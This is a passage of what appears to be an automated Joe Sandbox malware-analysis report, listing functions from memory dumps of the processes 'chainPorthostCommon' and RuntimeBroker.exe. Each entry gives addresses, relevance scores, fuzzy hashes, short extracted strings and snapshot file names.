Instruction Fuzzy Hash: 11E02621B4C85907EB7CB67828B11B07380DB45310B04017ED40AC32C6CC1E5CC14280

Function 00007FFD343F4265 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction ID: 8ab35fb96451738a2eaf1d17d46a1dcfded36ab21a7857e09b1d3209187fed47
Opcode Fuzzy Hash: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction Fuzzy Hash: CFE01A32F4811A4AFBA8B248D8E13EA6264EF89304F140078DB5ED33C1ED3CAD409709

Function 00007FFD343F06AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction ID: 3bdb383159b4e48e681951c4839018bf330c6cce4d36e3fd029155b77bd53153
Opcode Fuzzy Hash: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction Fuzzy Hash: BCC08C03FCB54B00B400316E14E20FDA1608FC6220FD00032C30CD2091AC2D20C5214A

Function 00007FFD343F12D8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction ID: 809ae4613649e19a9b5339611881eaf347527be039668b76ca7d0698284c5c8a
Opcode Fuzzy Hash: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction Fuzzy Hash: 11C04C345558098FC948FB29C99591477A0FF1E215BD50090E409C7171D669DCD5D741

Function 00007FFD343F06D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction ID: a616374053e223a48673d5ad6923f471bcda9665b4193bec270313af214e8151
Opcode Fuzzy Hash: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction Fuzzy Hash: 4BB01201DD644F00A40431BE08D20B570905F86100FC00070D60CC1085A86D10942242

Non-executed Functions

Function 00007FFD343F09B0 Relevance: 5.2, Strings: 4, Instructions: 191COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD343F0B56
!k9, xrefs: 00007FFD343F0B4E
"s9, xrefs: 00007FFD343F0B46
#{9, xrefs: 00007FFD343F0B3E

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 7dd6d58e90e63f1dc0377d82d88cda38c004fd6874c51ff9fae8c794ad698b7d
Instruction ID: b2192935f956a2547530f6ca54c8bcab80d3ace955cb731b098c97decca3cf48
Opcode Fuzzy Hash: 7dd6d58e90e63f1dc0377d82d88cda38c004fd6874c51ff9fae8c794ad698b7d
Instruction Fuzzy Hash: 9351A017B1A46A45E72337FD74611FE6BA8DF82336B584377E14C9B0838C1E61C682E5

Analysis Process: RuntimeBroker.exePID: 6008, Parent PID: 5236COMMON

Executed Functions

Function 00007FFD347D0879 Relevance: 1.7, Strings: 1, Instructions: 425COMMON

Download Yara Rule

Strings

pS4, xrefs: 00007FFD347D0962

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: pS4
API String ID: 0-684799425
Opcode ID: 31e3c1de1dda1209f20ad5f36b48cd3b89e04631875fa49e5ad6efad6e77367f
Instruction ID: d94813628f09059628e7bfbddbf4f8375f80fbe27916900860efd3fcf6f32a22
Opcode Fuzzy Hash: 31e3c1de1dda1209f20ad5f36b48cd3b89e04631875fa49e5ad6efad6e77367f
Instruction Fuzzy Hash: CBD13CB1B2E9C9CFE768DA2888A55B837D1FF87318B0411B9D14EC7592DD1CB80A97C1

Function 00007FFD343E0D48 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

5Z_H, xrefs: 00007FFD343E0DF3

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: 5Z_H
API String ID: 0-3267294416
Opcode ID: 94d0fde9450c1993e31798c7fecc42066014a41a23e03a6829b425ed9e6634aa
Instruction ID: d64b15dd931766f9c83bb9221fc7eb5200690f844fa2f22781dbfd90c30e381e
Opcode Fuzzy Hash: 94d0fde9450c1993e31798c7fecc42066014a41a23e03a6829b425ed9e6634aa
Instruction Fuzzy Hash: EE91F3B2B19A9D8FE795EB9C88657E97BE1FB96300F0400BBC049D72D2DE791812D740

Function 00007FFD347DCAC0 Relevance: .9, Instructions: 895COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f06b187a617732fadba228ff62216279cc6a2a62d78a27813c5fc030ac22350f
Instruction ID: f94b741a165f78452776f00b5b4fb8113eaa08f25cf360cfe94f5b4985af4c9c
Opcode Fuzzy Hash: f06b187a617732fadba228ff62216279cc6a2a62d78a27813c5fc030ac22350f
Instruction Fuzzy Hash: 97521670A1D649CFDB99DB18C8A5AB977E1FF87310F1401B9D14EC7192DA28BC4ACB81

Function 00007FFD347D58A9 Relevance: .4, Instructions: 397COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcee28c500048977c8bee525b3500f868e2b357c9bcd9d498e27eddb2216f38e
Instruction ID: 62c928d1782d6f96519dcc38607e7a944ed554025e4bda38ba273b42b37127cd
Opcode Fuzzy Hash: bcee28c500048977c8bee525b3500f868e2b357c9bcd9d498e27eddb2216f38e
Instruction Fuzzy Hash: 05C105B1B2E549CFE7E8DA1888A65B83BD1FF47350B140279D15EC7592DE2CB80A97C0

Function 00007FFD343E0E43 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26f8b5fbca28047435cb12005a4c15c55474873f4c1f63f65d0b022901229176
Instruction ID: fbd7374e78baed3a41c69ff4e8b1a307a30ecf7c4a26efef552c98e227d8172d
Opcode Fuzzy Hash: 26f8b5fbca28047435cb12005a4c15c55474873f4c1f63f65d0b022901229176
Instruction Fuzzy Hash: BE51E0B2B18A5D8BE798EB9C98657E97BE1FB9A314F50017EC00AD3391DAB91452C700

Function 00007FFD347D9B31 Relevance: 1.7, Strings: 1, Instructions: 492COMMON

Download Yara Rule

Strings

xqD4, xrefs: 00007FFD347D9EC4

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: xqD4
API String ID: 0-1868377020
Opcode ID: f908433729c5a26e36787d8d9dc897df0a8e915014a74284684ce7907ca15c65
Instruction ID: 4dcae65e69a554b40bb7ebfe31b7319b117f01102775e7a38ee0109d99cd7382
Opcode Fuzzy Hash: f908433729c5a26e36787d8d9dc897df0a8e915014a74284684ce7907ca15c65
Instruction Fuzzy Hash: 4102D3B0A2EA4ACFD369DB28C4E157977A1FF47300B14457EC14EC3682DA2DB8499B81

Function 00007FFD347DC79B Relevance: 1.6, Strings: 1, Instructions: 313COMMON

Download Yara Rule

Strings

`){4, xrefs: 00007FFD347DC8CE

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: `){4
API String ID: 0-3229680120
Opcode ID: 6c8481de46c7313b9e0c25e9e13ec92605f7b2877122d0a153e65b0ac0d6df6c
Instruction ID: 933d8bfa89c511456fe16384dc3f96e25b6a4777166c6869f6e70ec320173789
Opcode Fuzzy Hash: 6c8481de46c7313b9e0c25e9e13ec92605f7b2877122d0a153e65b0ac0d6df6c
Instruction Fuzzy Hash: 86B1B370A2D68ECFEB65DB6488A16F87BA0EF4B300F1401BAD14ED7181DA3C7949D790

Function 00007FFD347D15AB Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

S4, xrefs: 00007FFD347D15EE

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: S4
API String ID: 0-610221366
Opcode ID: 164072062b1de6929f0cce79f08ab4dd134dbbe2abd37851f4d6eadb21cbdf29
Instruction ID: ed85edb4c3eaa9e4fa8d077f949e83888c07b14b6bc0bd3ef5476e08e2673806
Opcode Fuzzy Hash: 164072062b1de6929f0cce79f08ab4dd134dbbe2abd37851f4d6eadb21cbdf29
Instruction Fuzzy Hash: 2981BF70E2E64ACFEB55EB6488A06BD7BA5EF5B300F14057AD10ED3192DE2C7845E780

Function 00007FFD347D0597 Relevance: 1.4, Strings: 1, Instructions: 199COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD347D0646

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 9ec6be2cf743979a0d9ea3f75b50f4d21751718cdce5517d395cfedcfe34b69d
Instruction ID: 1f24a333e56adc14d5e899d85fee624994d9fab6ddfdf67251c583bb5e992d95
Opcode Fuzzy Hash: 9ec6be2cf743979a0d9ea3f75b50f4d21751718cdce5517d395cfedcfe34b69d
Instruction Fuzzy Hash: 28510471A1E6C99FDB429B3488A44E97FB0EF07314F0800FAC149DB193CA2D784ACB81

Function 00007FFD347D08BE Relevance: 1.4, Strings: 1, Instructions: 189COMMON

Download Yara Rule

Strings

pS4, xrefs: 00007FFD347D0962

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: pS4
API String ID: 0-684799425
Opcode ID: 180de8c951001c3fe394baaf49d36823e9a950fb66ac4cb743cc80e25fdff773
Instruction ID: 29c4ff032d57c739d95140c72773c0de8cd7a9f1fc24ecacc1621e3fff8fa8e4
Opcode Fuzzy Hash: 180de8c951001c3fe394baaf49d36823e9a950fb66ac4cb743cc80e25fdff773
Instruction Fuzzy Hash: E8510B7172D989CFE794DB2C98A56B837D1FF9A314F0401B9D54DC3292DD28BC098780

Function 00007FFD347D3828 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD347D38A2

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 22bfa430db9ea7fd50dbefd95baf656ebc12713ec3f7c6299913f7ec5e9bd570
Instruction ID: 82b48072606b8c06518232359d93faaf39ec2fcb0c9044f8e8d437112b77b981
Opcode Fuzzy Hash: 22bfa430db9ea7fd50dbefd95baf656ebc12713ec3f7c6299913f7ec5e9bd570
Instruction Fuzzy Hash: 3A517AB1E1950E8FEB58DB98D4A55FCB7B1FF46310F1041BAC01AE7286CA396906DB90

Function 00007FFD343E08D0 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

(7I4, xrefs: 00007FFD343EB0D5

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: (7I4
API String ID: 0-1709812513
Opcode ID: 4de02b6566ec6ffb681d659cb57d115a4ccd1a9e1e03ca245fb12db1f45a581a
Instruction ID: 1d11f3727f6bd10f0c7585d3c369f1028d03f781c203b70f523b6f750ed05789
Opcode Fuzzy Hash: 4de02b6566ec6ffb681d659cb57d115a4ccd1a9e1e03ca245fb12db1f45a581a
Instruction Fuzzy Hash: 82412712B0E6650AE716F7BC64B56FA7B90DF46325B1804BFD14EC71D3CD2968818281

Function 00007FFD347D8878 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD347D88F2

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 193dd68cd01778b81dffcb33eee519d6451f8adf54fc4537c6a69fe7f54e7836
Instruction ID: 47ecd92017654f446d464f81c4b290c85482a5d360a187015411514489a6a6f4
Opcode Fuzzy Hash: 193dd68cd01778b81dffcb33eee519d6451f8adf54fc4537c6a69fe7f54e7836
Instruction Fuzzy Hash: 5F519CB0E2950ECFDB59DB98C4A45FDB7B1FF46300F15007AC11AE7296CA386805DB90

Function 00007FFD343E0960 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

(7I4, xrefs: 00007FFD343EB0D5

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: (7I4
API String ID: 0-1709812513
Opcode ID: 5087e3f2b58b59c0a677272ab04028e72abd833565c5f4050b224bd14e519034
Instruction ID: 8e29eac825fc3a892da7849d5886772eb2ff4e49dbfcdc0e12a7c8327c2f00c1
Opcode Fuzzy Hash: 5087e3f2b58b59c0a677272ab04028e72abd833565c5f4050b224bd14e519034
Instruction Fuzzy Hash: BA310622B0E9191AE765F7AC64A66FA73D5DF49325F1800BAD40EC31D3CD2DAC824280

Function 00007FFD343E0998 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

(7I4, xrefs: 00007FFD343EB0D5

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: (7I4
API String ID: 0-1709812513
Opcode ID: 46445e6eb19786c3fd40b090941a27675934c7f80e063eb33e89dadaac5e7325
Instruction ID: ec291468aa96792a7aada4c99059b16646e3625ac952b39f621682edd84f428d
Opcode Fuzzy Hash: 46445e6eb19786c3fd40b090941a27675934c7f80e063eb33e89dadaac5e7325
Instruction Fuzzy Hash: 4C212821B1A95D0FE794F66C94AA6B977C1EB89314F1800BDE40EC32D3DD3CAC828640

Function 00007FFD343F3DE9 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD343F3E06

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343f0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: f7ba76cc6caa1d35af2fbcf404c8cdebd9418b273fa991598286f8ca28e0404a
Instruction ID: 778425cac4266aed0294f3a97e10546f00a5423ae4d37f02fc37ff4922add963
Opcode Fuzzy Hash: f7ba76cc6caa1d35af2fbcf404c8cdebd9418b273fa991598286f8ca28e0404a
Instruction Fuzzy Hash: 46F0657194F3C04FCB5AAA3588A94547F60EF6720174A51EEC095CF1E7DA2DDC85C701

Function 00007FFD347D0D37 Relevance: .5, Instructions: 525COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e87bbc1b0b72dbdecc4dfa6c627b818f9589dd18df27dc333edd9cffd28de247
Instruction ID: f356f8860f1215f828a10885fbb1047e018c83e45ad2d2acc37274f3bfe78280
Opcode Fuzzy Hash: e87bbc1b0b72dbdecc4dfa6c627b818f9589dd18df27dc333edd9cffd28de247
Instruction Fuzzy Hash: CB31F692F2F6D6CAF769522924B50BC7B805F47328F28A57BD68DC60C2DD0C344872C2

Function 00007FFD347DBBE2 Relevance: .5, Instructions: 522COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10c60074b50f11be0ce60277c6c25bb00f9f90a589beacb385e4683083d76c4a
Instruction ID: 32e306da33a86c6642c0b3fc2cb76d44427629a34e31e41893fe8ed292c9220c
Opcode Fuzzy Hash: 10c60074b50f11be0ce60277c6c25bb00f9f90a589beacb385e4683083d76c4a
Instruction Fuzzy Hash: 82F1D93471C8198FDBC8FB68D4A5E6573D2EBA8704B1540A9E10FC72B6CE25EC56CB81

Function 00007FFD347D8B0A Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe11e60891f300c0e6b2b0a0f5507df011906a27b6ec7be19d56fa83c5e0d584
Instruction ID: 7e6e2190e7edb7d1fdd2cb57664613d8cbcc315bb1cf6528040266134dd739df
Opcode Fuzzy Hash: fe11e60891f300c0e6b2b0a0f5507df011906a27b6ec7be19d56fa83c5e0d584
Instruction Fuzzy Hash: 75F1D0B062A545CFEB59CF18C4E06B477A1FF46300B5545BDC95ACB69ACA3CF885CB80

Function 00007FFD347D4AE1 Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ad78bf1cf8188437cb6158bce1e42d8d042f9e79e7b9932090d1dbcff5af299
Instruction ID: 4f7b652235cc5705c196bdbe44e91638bc88c1a2291019e0df99d3819516078f
Opcode Fuzzy Hash: 4ad78bf1cf8188437cb6158bce1e42d8d042f9e79e7b9932090d1dbcff5af299
Instruction Fuzzy Hash: 60E11470A2EB468FE368DB28D4E0575B7E1FF47304B14067EC58EC7582DA2DB84A9781

Function 00007FFD347D3A98 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cef0f31e56af6cbb2b339fbe7f5c9c820b57917b90c0957c4be8fce9eae384a
Instruction ID: c91e09a1202702516aa1cc8e067447d03e2339430040ce3c05a02627ffd5a6dd
Opcode Fuzzy Hash: 6cef0f31e56af6cbb2b339fbe7f5c9c820b57917b90c0957c4be8fce9eae384a
Instruction Fuzzy Hash: 83E17D706295568BEB59CF18C4E16B577A1FF46300B5442B9C94ACB28ACA38F886DB81

Function 00007FFD347D3352 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b4d3076c2c94d8f4cf4305b29070581d0e02b43263d07a896c9854e6e4b42c9
Instruction ID: 46efc79479f755465b522e5c2c7a9748230753800527b1b7de6ee3be71c84612
Opcode Fuzzy Hash: 5b4d3076c2c94d8f4cf4305b29070581d0e02b43263d07a896c9854e6e4b42c9
Instruction Fuzzy Hash: 9FC1D1B0B2DA468FE749DB28C4A16A4B7A1FF4A300F444579D14EC7A86CB2CB85687D0

Function 00007FFD347D83A2 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e146ef460286b38e7093041325de3e3bf7fa56e67da006b7b1a81208c1c41855
Instruction ID: 85b190e56a32a54121e50a86337ed34d32d09ae19052d9fdb9f9ce7c329390dd
Opcode Fuzzy Hash: e146ef460286b38e7093041325de3e3bf7fa56e67da006b7b1a81208c1c41855
Instruction Fuzzy Hash: 22B112B0B29A468FE349DB28C4A06B4B7A1FF4A310F454179C15EC7A97DB2CB8558BD0

Function 00007FFD347D3ABF Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d29f6c42f5dd853ff1d5b699a818c330680091b3110206dbc8e5239fc264f871
Instruction ID: 602ec9c9a0b3ea1c84f105c63e9a89e5206835b9f4fffb48a00acc2ff878a385
Opcode Fuzzy Hash: d29f6c42f5dd853ff1d5b699a818c330680091b3110206dbc8e5239fc264f871
Instruction Fuzzy Hash: 81C1AF70629546CBEB19CF18C4E05B537A1FF46300B5446BDD94BCB68ACA3CF886DB81

Function 00007FFD347D5D67 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e92001671f7925e8ac17c80f8230c384c033716b9896fb50e551fb16763307c7
Instruction ID: 06cb2c30aef9e96d626341f7ce765e478fe93233a54de923af6b8e52ab7042ed
Opcode Fuzzy Hash: e92001671f7925e8ac17c80f8230c384c033716b9896fb50e551fb16763307c7
Instruction Fuzzy Hash: 2121D582F2E193CBF6A9626D24F51F83A405F972A1F180677D24EDA1C2DC0C788932C2

Function 00007FFD347D2886 Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ea92ccc7da6383c36218704e7dad1fd09a23c32cf7a16c3634b8606f57d3254
Instruction ID: 1c2d2f5542ef19be2c64db87ea76cf0820cacaef7904e48827341070e802179c
Opcode Fuzzy Hash: 1ea92ccc7da6383c36218704e7dad1fd09a23c32cf7a16c3634b8606f57d3254
Instruction Fuzzy Hash: 63918C71B2EA468FE3399A2894A51B577D0EF93310B14057ED58FC3183DE2CB80B9791

Function 00007FFD347D78EB Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4322c97e51c9551a6476cc8e08a7a0171f4c3ce184f21648b1a01329aa87e1df
Instruction ID: 3c95198801618c724e8ac414436fca8424b419f29fd2b6cbf4259c1be712da1c
Opcode Fuzzy Hash: 4322c97e51c9551a6476cc8e08a7a0171f4c3ce184f21648b1a01329aa87e1df
Instruction Fuzzy Hash: C88139B2B2EA468FE3759A1C94A11F977E1EF87310B14057ED58EC3182DE2C790A57C1

Function 00007FFD347D7F00 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2223d5c3b9f025823d8f1ef8aa9e6933f9113653a8d13e1d53b29cd07ab27e5
Instruction ID: f51c5a16615dde019649f835052ee028663938ddb60975217e40be76fbfaa037
Opcode Fuzzy Hash: f2223d5c3b9f025823d8f1ef8aa9e6933f9113653a8d13e1d53b29cd07ab27e5
Instruction Fuzzy Hash: 0071056061D7C68FD71A8B2888B10B47BA0EF47214B2946BEC1DBCB5D3D91DA84BD391

Function 00007FFD347D65DB Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0936b92794f98d6218f0c29a6d4ff29f3cb8f3de5c05ab9730618d3cf6bdf867
Instruction ID: f9ca22b751bbfc566fabc5745fbf6d22f27d7e7de26f65c6d126eb1ed9b755a9
